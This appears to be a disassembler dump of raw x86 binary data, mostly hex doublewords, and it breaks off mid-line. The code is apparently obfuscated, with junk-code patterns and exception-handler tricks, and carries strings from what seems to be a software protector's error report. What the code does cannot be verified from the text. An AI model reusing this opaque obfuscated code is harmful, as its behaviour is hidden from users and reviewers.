0FA54C0A8h dd 0D52B31AEh, 895088ADh, 150949BDh, 41B5FF06h, 660617F3h dd 0B1D3C781h, 0E1D95FFh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 9B6B68C3h, 0A70DA023h, 89CD3F69h, 15185D85h, 32858D06h dd 0F0617F3h, 28Eh, 50CF8B00h, 26158D89h, 0B5FF0615h, 617F341h dd 619589h, 95FF0615h, 6150E1Dh, 8589EE8Ah, 617F355h, 13E9h dd 774C8600h, 0D8CC0F20h, 24C0D843h, 8D815B08h, 720B54AFh dd 0F311858Dh, 958B0617h, 61511ADh, 60B96660h, 0B506125h dd 15098995h, 41B5FF06h, 0F0617F3h, 0B83h, 5820F00h, 66000000h dd 1D52F281h, 0E1D95FFh, 6A0615h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 962984C3h, 0FF9045Fh dd 8589F9B7h, 617F34Dh, 0F304858Dh, 90B20617h, 8E950h dd 84D10000h, 1901D176h, 0B5FF03A2h, 617F341h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2BC35141h, 9D18D89h dd 95FF0615h, 6150E1Dh, 11658D33h, 85890615h, 617F351h dd 2B058D8Bh, 858D0615h, 617F31Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 9EC35747h, 5EDD9155h, 50FAB70Fh dd 0FFFFED80h, 17F341B5h, 0F1858906h, 0FF06152Ch, 150E1D95h dd 0F88B6606h, 5CD8589h, 6A0615h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 5A596EC3h, 2830FFEh dd 0B2000000h, 75950367h, 8D06151Dh, 17F2D385h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0ED08F60Fh, 0FDBD695h, 683h, 2DBD8900h, 8106152Fh, 910308DAh dd 8D31507Eh, 6150385h, 0F341B5FFh, 9DB90617h, 0FF3F4E76h dd 150E1D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 68BF5759h, 890F05B0h, 17F34585h dd 8B665106h, 858D59CAh, 617F2E2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0E6C35343h, 0E0171F47h, 0DAD586D9h dd 226D8D89h, 6A500615h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 4C7EC352h, 53F20ECFh dd 0F7127BCh, 0B5FFCEBFh, 617F341h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0D8C35040h, 69958BD6h, 89061527h dd 1512B5BDh, 1D95FF06h, 0B606150Eh, 498589EEh, 0F80617F3h dd 10468h, 70E78100h, 8D3DE800h, 17F3D985h, 8D8B5106h dd 61533D1h, 95295059h, 6151575h, 0F4DD858Dh, 6A0617h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0B172FDC3h, 56F0FF30h, 84B0EA81h, 81666856h, 5070BEDFh dd 960CBA66h, 4B195FFh, 8D030615h, 6151CDDh, 0FC085F5h dd 685h, 1D8D8B00h, 80061530h, 17FEB2BDh, 850F0006h, 44h dd 11E9h, 2D941000h, 0D93F155Fh, 9345C10Bh, 418779D6h dd 21E95418h, 6A000015h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 66C7C352h, 0D823D3E8h dd 9529A8A0h, 61521E1h, 295DBD83h, 0F000615h, 2F85h, 9E900h dd 0DFD30000h, 4DA9BA09h, 83E294AFh, 18035CBDh, 840F0006h dd 7Ch, 0BE8h, 0C6AB3600h, 296CECEFh, 6487E6AEh, 5A8FF680h dd 0F376858Dh, 0E9520617h, 10h, 4ACC41F3h, 0D33E63AAh dd 0C4E4F2B9h, 0B66D5272h, 149AE95Ah, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E9E06FC3h, 36h, 19F18531h, 12E80615h, 0E8000000h, 1B3EDB50h dd 615BA846h, 0BBF2A698h, 400D5BC4h, 75BD2931h, 5F061511h dd 0F361858Dh, 8F0F0617h, 6, 1199958Bh, 0E9500615h, 7 dd 9AA9619Ah, 8DAB2206h, 17F3D985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 43101100h dd 0B26CDFD0h, 8D890731h, 6152AE5h, 0BD83F950h, 615295Dh dd 14840F00h, 89000000h, 151A05BDh, 0FF858D06h, 0FC0617F4h dd 11E9h, 8DEE8A00h, 17F4E885h, 3800F06h, 80000000h, 8050EFF1h dd 858DD5D2h, 617F537h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 87C35343h, 8945CA13h, 152B259Dh, 15830F06h dd 0E9000000h, 10h, 2128AE13h, 5A803F06h, 0F050178Fh, 0FF221291h dd 5950150h, 0FF061510h, 152F2995h, 758D8B06h, 83061517h dd 958B10C4h, 615073Dh, 12E9h, 0B1329A00h, 0AC4E48F0h dd 0CD2F135Ah, 11AC9B96h, 8BD8CB24h, 5958BC0h, 8306150Ah dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 7D3B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 7D3B853h, 85890000h dd 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8053585Bh, 805FFACAh dd 0C08BACC5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0D4C35242h, 0C37F10FDh, 8FC3526h, 0F7816623h, 0BD81C5FFh dd 617F361h, 6165726Fh, 0A1840Fh, 858D0000h, 617F3D9h dd 16858D50h, 500617F5h, 0F537858Dh, 0FF500617h, 152F2995h dd 0CC48306h, 9C585C6h, 68440615h, 96A3184Fh, 1685B5FFh dd 858D0615h, 6153B38h, 0D88BD0FFh, 0F537858Dh, 0FF500617h dd 61858DD3h, 500617F3h, 0F3D9858Dh, 83500617h, 15295DBDh dd 8740006h, 0F4FF858Dh, 6EB0617h, 0F4E8858Dh, 8D500617h dd 17F53785h, 95FF5006h, 6152F29h, 0B910C483h, 53881ECh dd 0DF99529h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0FFF815C3h, 1516DD95h, 11E906h dd 663E0000h, 76B48FE1h, 0EEF36281h, 63E2A867h, 66E37676h dd 0AE50EF81h, 0FF25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 658D89C3h, 8306152Fh dd 830F05F8h, 50h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0C5C35040h, 0A79F0013h, 6985C72Bh, 1061521h dd 8B000000h, 15178DBDh, 95858D06h, 8B0617F3h, 150655BDh dd 8BE906h, 0CEB60000h, 6870Fh, 0BD8B0000h, 61524B1h, 295DBD83h dd 0F000615h, 5E84h, 8F18100h, 8D42490Ch, 17F3C085h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 10C602BCh, 3B9CB9AEh, 3AE92F1Ah, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 75EC356h, 1F0C877Eh, 9614E582h, 8DD08B66h, 17F3A285h dd 6870F06h, 23000000h, 150BB995h, 0D5858906h, 6A0617F3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0A858C356h, 0C1B9D08Dh, 0D78166EBh, 0BD83D61Fh dd 615295Dh, 15850F00h, 0B6000000h, 5CBD83A1h, 61803h dd 11840Fh, 950B0000h, 6150831h, 10ABE9h, 1DBD8900h, 0E9061515h dd 4EEh, 8BCEB70Fh, 81FC60C0h, 0CA7C46DEh, 0BD836157h dd 61508F5h, 83097500h, 1503ADBDh, 19740006h, 0C08B5350h dd 7D4B8h, 85858900h, 8D061513h, 17AA9E9Dh dd 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h, 7D4B8h, 85858900h dd 8D061513h, 17A78D9Dh, 5BD3FF06h, 0ADF28058h, 0CDB58B60h dd 0B061520h, 1520D5B5h, 0C08B6106h, 8880Fh, 8B510000h dd 1517FDBDh, 3F685906h, 81000F00h, 0E77297CAh, 6A006A6Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 37BC357h, 6AF5B4h, 2CC18166h, 0CD9D8994h dd 0FF061516h, 15185D95h, 958B6006h, 6150465h, 28D0Fh dd 56B70000h, 0FC08561h, 1485h, 0FE900h, 96C10000h, 0F6E35487h dd 0B73A9D84h, 0E8B26D96h, 5985897Fh, 6A0617F3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0CFEBC351h, 38E895B7h, 6AF98BF1h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9E3468EAh dd 0B1885141h, 818D892Eh, 89061509h, 1511519Dh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0D5D5C353h, 689F9BB7h, 0C9818B93h, 4BAB52C9h dd 1459958Bh, 6A0615h, 6AFE8Bh, 910056BAh, 66006A23h, 858DFB8Bh dd 617F537h, 71B860FCh, 60716F68h, 0E9F6BF0Fh, 7, 0A7F4DD17h dd 6127C866h, 958B5061h, 6150981h, 0BF0F016Ah, 0E8016ACAh dd 0Ch, 1CD5383Ch, 0AA389BC2h, 8D4A41C9h, 12E9h, 0AAAF4300h dd 0A125B356h, 26A9252Bh, 0D40C8E43h, 5F54D4A0h, 6A016Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A8AE93C3h, 68D38B73h, 0F01FFh, 13E9h, 0B5EC8600h, 0CF5B1ECCh dd 42F5EA27h, 0D173F1ECh, 0F78B0874h, 1A2EBA66h, 295DBD83h dd 0F000615h, 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 303BE573h, 6D7D9D99h dd 858DC707h, 617F3B6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 68C35343h, 0F6DB58Fh, 8B158CB3h, 19E9CAh dd 0CE90000h, 0C2000000h, 0E242DBB4h, 0B3A438C5h, 8D6F49F3h dd 17F38C85h, 50D68B06h, 2F61B589h, 0E6800615h, 0E3BF5053h dd 0FF6C5FCDh, 17F359B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 8DD4974Ch dd 25958944h, 0FF061511h, 17F34595h, 0BF60F806h, 162F773Dh dd 3DA8B966h, 0FC08561h, 0E85h, 0B7C98000h, 5FE9h, 45BD8900h dd 8906152Bh, 17F35D85h, 2D9D8906h, 0FF061502h, 17F35DB5h dd 7EF28106h, 0FF4EAEDDh, 1505CD95h, 8D8B5006h, 6150245h dd 0D5BD8B59h, 8506151Dh, 25850FC0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 867AC356h, 95237A30h, 6152C51h, 810F106Ah, 6, 16F59D89h dd 0BD830615h, 615295Dh, 36840F00h, 0F5000000h, 858DCE8Bh dd 617F3B6h, 26818D0Bh, 2EE90615h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 89FAC350h, 15172595h, 8C858D06h, 810617F3h, 3D045FD1h dd 0E9525066h, 0Ch, 7898F354h, 9539518h, 1A097F96h, 59B5FF5Fh dd 0F0617F3h, 386h, 88D28000h, 0BE6AC981h, 95FF0F87h, 617F351h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ACC35343h dd 0B1958B60h, 8B061533h, 152A9D95h, 0C0856106h, 7850Fh dd 0B5310000h, 61520CDh, 5D8589FCh, 810617F3h, 3131E4F1h dd 6A006A33h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 266BC357h, 9A4D026Dh, 8B607722h dd 15239985h, 61605306h, 9D896159h, 61525B9h, 3419D09h dd 6A0615h, 3445958Bh, 0B5FF0615h, 617F35Dh, 831B589h dd 95FF0615h, 617F349h, 156D8589h, 0C0850615h, 3B850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0E36325C3h, 0B3D3F837h, 6052FAF0h, 551B589h dd 0B0600615h, 2BBF66BFh, 81616129h, 0C486F5D2h, 5DB5FF7Ah dd 800617F3h, 95FF18DEh, 61505CDh, 2965BD2Bh, 5E90615h dd 23000000h, 0CCAEAFA7h, 850FC085h, 2, 6AF08Ah, 8182A4BFh dd 806865h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 6DB210C3h, 4C70BF66h, 8E8h, 15B11100h dd 9B94871h, 13E98Ch, 8C870000h, 761A8E29h, 58139D9Fh dd 0EA1BA201h, 0B531B021h, 36A5AFFh, 1C7DB529h, 6A0615h dd 6A23B5h, 0BA42EA81h, 68605Fh, 52C00000h, 0FE9h, 355E5900h dd 63C5AF24h, 71D07543h, 52EA32BDh, 0D5B5FF5Ah, 600617F3h dd 10E9h, 4AA57800h, 0A954989h, 0F2573961h, 0DB74BA82h dd 6880F02h, 0F000000h, 86h, 95FF6100h, 61510F9h, 0FFF883F9h dd 471850Fh, 60600000h, 61F1B70Fh, 21519529h, 0FF610615h dd 17FE4385h, 0CA8B6606h, 141DBD8Bh, 0BD830615h, 617FE43h dd 3E840F02h, 89000003h, 152CD58Dh, 3B858D06h, 60005B24h dd 85D8D8Bh, 8D890615h, 6152C81h, 8BD0FF61h, 15059995h dd 8E858D06h, 8B005B1Eh, 150681BDh, 36D18006h, 0BD8BD0FFh dd 6152695h, 0FE9h, 6DB6F300h, 12C53CD2h, 2BC0A5CEh, 989E6DCAh dd 8D0FC08Bh, 1, 0BD83F5F9h, 61508F5h, 83097500h, 1503ADBDh dd 19740006h, 0C08B5350h, 7D8B8h, 85858900h, 8D061513h dd 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h dd 7D8B8h, 85858900h, 8D061513h, 17A78D9Dh, 5BD3FF06h dd 75958B58h, 8A061511h, 0A98529F3h, 8B061524h, 0A19529C0h dd 8B061511h, 150A11BDh, 3F6806h, 70BF000Fh, 5633B650h dd 15FCB966h, 89006A5Ah, 150A8D9Dh, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0DF4AC357h, 3B9966E6h, 185D95FFh, 0D7810615h, 53FA49Dh dd 5E9C085h, 0F3000000h, 85DCF414h, 0C8F0Fh, 7E90000h dd 0EA000000h, 5BDC0282h, 858953E5h, 617F359h, 0F085B966h dd 0F01FF68h, 0EDBD2B00h, 8306150Ch, 15295DBDh, 840F0006h dd 2Dh, 6830Fh, 8D890000h, 6150D19h, 0F3B6858Dh, 0BD8B0617h dd 6150079h, 0E5BD8Bh, 2CE90615h, 60000000h, 26BDB58Bh dd 0CF8B0615h, 8C858D61h, 6A0617F3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 50D8C353h dd 880Fh, 0B5FF0000h, 617F359h, 68B0Fh, 85090000h, 61506F1h dd 0FFD78B66h, 17F35195h, 0C58D0306h, 89061522h, 17F35D85h dd 80526006h, 8B5EE6E7h, 85C761D7h, 6151881h, 0 dd 0CC58BF66h, 0AEF78166h, 5DBD83AEh, 617F3h, 14C840Fh dd 0E9600000h, 0Eh, 4D68E934h, 66C229F8h, 8878A87Dh, 8D61827Eh dd 17F63B85h, 1D9D0906h, 5006150Dh, 18D2BA66h, 8501016Ah dd 61501FDh, 0F35DB5FFh, 95FF0617h, 617F355h, 1005B589h dd 0B5FF0615h, 617F35Dh, 3479BD8Bh, 95FF0615h, 61505CDh dd 2EC9BD89h, 0FF680615h, 8B000F01h, 151A31BDh, 5DBD8306h dd 61529h, 59840Fh, 810F0000h, 27h, 14E8h, 0CFE6E600h dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BA2114CEh, 8E911h dd 88230000h, 42DD6DA3h, 8D5F9644h, 17F3B685h, 0FBB70F06h dd 27E9h, 1DBD8B00h, 0E8061530h, 12h, 7094B5C4h, 5CEB2E3h dd 663BC382h, 44748D84h, 8D5916D0h, 17F38C85h, 0CBBF0F06h dd 0CA8B6650h, 0F359B5FFh, 9D890617h, 6150BB9h, 0F35195FFh dd 0BF660617h, 0C2BF85C5h, 89253DB0h, 17F35D85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0BFBB6B48h, 31F9AE3Dh, 15155185h, 5DB5FF06h, 660617F3h dd 6EDAEA81h, 0F34D95FFh, 9D310617h, 6150161h, 0F35DB5FFh dd 95030617h, 61519B9h, 5CD95FFh, 0BA660615h, 0F4E945C9h dd 0B6FFFFF6h, 0A6B5FF0Ah, 6A0617FEh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 40A3C356h dd 167EB477h, 2C995FFh, 81660615h, 8BF2F2F7h, 15048985h dd 89CF8B06h, 1509D98Dh, 558E906h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0E1BB65C3h dd 0BD8BAD4Ah, 61517E9h, 0F65BB58Dh, 0CDBF0617h, 890A3D5Fh dd 150A8D9Dh, 0E1858D06h, 660617A3h, 0FF27CCB9h, 870FFCD0h dd 6, 23898D89h, 6A0615h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0E9C35646h, 451E2E1Eh, 266995FFh, 85090615h dd 6153475h, 0BF0FF38Bh, 0E1858DFFh, 8B0617A3h, 152D29BDh dd 89D0FF06h, 15100585h, 6A006A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 62D4C353h dd 2BF303C8h, 15165D95h, 6995FF06h, 8B061526h, 7EF281C0h dd 831E693Ch, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h dd 8B535019h, 7D9B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h, 7D9B853h dd 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8BF9585Bh dd 15020595h, 0BD8B6006h, 6151929h, 6D1BD23h, 8B610615h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0DCE77BFAh, 0DCF2C10Eh, 38C0Fh, 0BF0F0000h dd 810F60CBh, 2, 8531D2B5h, 6151791h, 840F5061h, 3, 8BF88B66h dd 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 9D8D5390h, 61505E1h, 389038Bh, 8950438Bh dd 9D8D5043h, 617FE3Fh, 389038Bh, 55006A5Bh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 9E8770B8h dd 0EF8A8D32h, 4C98D8Bh, 0D08B0615h, 6AD78Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7C35141h, 9E92CC89h dd 8D354FD7h, 17FE3F85h, 0F41BA06h, 6A502CBCh, 0F18D8B60h dd 8B061512h, 0E1858DCFh, 8B061505h, 15035DBDh, 0F7E18006h dd 918D8950h, 6A06152Fh, 0BF665300h, 0B15A5D59h, 66006A9Bh dd 875BE281h, 180068h, 0A59D0100h, 5306151Ch, 6ABF66h dd 97D95FFh, 0BF0F0615h, 0CD95FFD3h, 8B06150Dh, 15098195h dd 0A6B5FF06h, 6A0617FEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 49E8C355h, 0FA26DC6h dd 0C995FF3Eh, 6A061502h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 1490C356h, 77FAAFD3h dd 0AC58509h, 14E90615h, 9B000000h, 1B200387h, 0D17C6D10h dd 7DA828AFh, 0F3C1F14Ah, 8DEEBEF7h, 1505E185h, 8BCB8B06h dd 0B5891840h, 6152AEDh, 20D85C7h, 615h, 0CA8B0000h, 295DBD83h dd 0F000615h, 2E84h, 0A1BD8B00h, 3D061504h, 8Ch, 187830Fh dd 0B5890000h, 6150DF1h, 23E9h, 0DE900h, 72400000h, 0C9753296h dd 5F1B3DDAh, 3DE9B5F3h, 98h, 15F830Fh, 0CA810000h, 62B1236Ch dd 243B858Dh, 9503005Bh, 6151C9Dh, 0F180D0FFh, 8E858D94h dd 0E9005B1Eh, 13h, 6B36668Dh, 3E60AFD9h, 7B966D32h, 81059753h dd 0FF396217h, 0C08BFCD0h, 2D958B56h, 5A061502h, 8F5BD83h dd 75000615h, 0ADBD8309h, 61503h, 53501974h, 0C6B8C08Bh dd 8900000Bh, 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h dd 1503ADBDh, 17740006h, 0C6B85350h, 8900000Bh, 15138585h dd 8D9D8D06h, 0FF0617A7h, 0E8585BD3h, 10h, 0E79AC0AEh dd 0F1D4EBC5h, 0A1CBDBABh, 738C7191h, 252CD281h, 895A10BFh dd 152EE995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0F35D1C2h, 0C08BD1B7h, 0BD895957h dd 615189Dh, 0FFFF883h, 2F85h, 1D858900h, 0C7061516h, 1521B985h dd 6, 0C890F00h, 0F000000h, 68Bh, 0E9858900h, 0E9061504h dd 0F8h, 0E9F88B66h, 42h, 0F01F883h, 3985h, 0A5B66000h dd 0FA8B6660h, 1E9B509h, 61610615h, 0F5E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0EF7D573Ah, 257DBD33h, 20E90615h, 8BFFFFF2h, 15004D95h dd 89C08B06h, 1527C185h, 0F5BD8306h, 61508h, 0BD830975h dd 61503ADh, 50197400h, 0B8C08B53h, 7DDh, 13858589h, 9D8D0615h dd 617AA9Eh, 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h dd 7DDh, 13858589h, 9D8D0615h, 617A78Dh, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B0C35646h, 0CA68BADFh dd 6A71BCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0CE8B75C3h, 33BD8509h, 0C08B0615h, 217E9h dd 0CABF0F00h, 0FC43858Dh, 8D8B0617h, 615091Dh, 0FE3B8589h dd 8B600617h, 150D818Dh, 5AE96106h, 0F000000h, 858DF9B7h dd 617FA4Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 36C35242h, 95094245h, 615116Dh, 50006A40h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8B5287B4h, 3B8589C8h, 0F0617FEh, 8Dh, 8D346A00h, 15139585h dd 0B5FF5006h, 617FE3Bh, 95FF006Ah, 61506D5h, 0F07F883h dd 16884h, 0DB8C6600h, 0F04C3F6h, 10285h, 0C585C600h, 56061509h dd 0A8B85268h, 85B5FF9Ch, 8D061516h, 153B3885h, 6AD0FF06h dd 10006804h, 646A0000h, 0D0FF006Ah, 0FEAE8589h, 85C60617h dd 61509C5h, 0AC9B6847h, 0B5FFEC18h, 6151685h, 3B38858Dh dd 0D0FF0615h, 0F08BD0FFh, 9C585C6h, 684F0615h, 0C62F2661h dd 1789B5FFh, 858D0615h, 6153B38h, 9D8DD0FFh, 617FEAAh dd 56286A53h, 0C085D0FFh, 85C60075h dd 61509C5h, 64986841h, 0B5FFDB87h, 6151789h, 3B38858Dh dd 0D0FF0615h, 0FEC78589h, 85C60617h, 61509C5h, 0E7A4684Ch dd 0B5FF80A4h, 6151789h, 3B38858Dh, 0D0FF0615h, 0FEAE9D8Bh dd 5B8D0617h, 9D8D5304h, 617FEB3h, 0FF006A53h, 0AE9D8BD0h dd 0C70617FEh, 103h, 0C43C700h, 2, 74D9D8Bh, 85C70615h dd 6152DEDh, 0 aJjj: unicode 0, <jjj> dw 9D8Bh dd 617FEAEh, 0FF006A53h, 17FEAAB5h, 0C795FF06h, 0C60617FEh dd 1509C585h, 97684506h, 0FF92A5F7h, 150789B5h, 38858D06h dd 0FF06153Bh, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h dd 17FEAE9Dh, 0C43C706h, 0 dd 6A006Ah, 0FEAE9D8Bh, 6A530617h, 0AAB5FF00h, 0FF0617FEh dd 17FEC795h, 0AAB5FF06h, 0FF0617FEh, 150DCD95h, 0FF006A06h dd 15266995h, 1739BA06h, 958B2AF7h, 61507F5h, 318A858Dh dd 6A0618h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 505016C3h, 0EE860h, 0FA190000h, 565E08B1h dd 0DA368CFh, 61FA69F8h, 61CB8A58h, 35FF645Fh, 0 dd 0C6DBD8Bh, 0FE80615h, 90000000h, 0F3A00965h, 929A9D24h dd 0B54F576Ch, 0B70FB62Dh, 89645ACFh, 25h, 9E900h, 7A1F0000h dd 0A8839088h, 83BD750Eh, 1509CDBDh, 840F0006h, 9Fh, 1949BA66h dd 16598D8Bh, 0BD830615h, 6152DB5h, 88850F01h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0B6ADC353h, 509BDA77h, 0BD802DB1h, 61802C7h dd 58850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0C78FC350h, 0E4403A6Ch dd 858D8952h, 89061508h, 150C7585h, 198E906h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0A7B85CC3h, 0B8CE4F2Ah, 334CB2D9h, 218D01DBh, 8B06150Ah dd 56C033FBh, 25198D09h, 405F0615h, 0B073F0Fh, 58F64h dd 83000000h, 0F5704C4h, 6A5FCFB7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0BCACC355h dd 0FFFB83CEh, 15840Fh, 8D8B0000h, 61518F5h, 10FE9h, 89575600h dd 1511D9B5h, 0E95F5906h, 72h, 9501FC60h, 615022Dh, 244C8B61h dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h dd 245C8BC3h, 0E8550Ch, 5D000000h, 31ACED81h, 838B0618h dd 0B8h, 328B858Dh, 83890618h, 0B8h, 0C3C0335Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 69C35545h, 0D1958B60h dd 9061503h, 1507499Dh, 858D6106h, 61831A2h, 9E8h, 0A0A11800h dd 0F8C3F95Bh, 8151DACFh, 54BB60F2h, 0F5A5A7Ch, 188h, 3350FC00h dd 1516D5BDh, 35FF6406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F9C35141h dd 0D4749DC6h, 3860Fh, 0BF0F0000h, 258964C8h, 0 aFJ db 'f¹',27h,'J¹',0Ah,0 align 4 dd 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh dd 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh, 14F585C7h dd 10615h, 8F640000h, 5, 4C48300h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 92C35141h, 909EB5F6h, 2DA19D89h dd 0B70F0615h, 6AC08BF8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 764DC352h, 83FED928h dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 43DB8C0h, 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 43DB853h, 85890000h dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0B71BD5C3h dd 0C321BA91h, 0C08B228Ah, 147E9h, 400h, 392E3100h, 3031h dd 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 2FF1BD83h, 0F000615h dd 12D84h, 0BD858D00h, 500617A5h, 0A527858Dh, 68500617h dd 80000001h, 0A5CD95FFh, 858D0617h, 6183356h, 60858D50h dd 50061833h, 6A006Ah, 0A53B858Dh, 0FF500617h, 17A5BDB5h dd 9195FF06h, 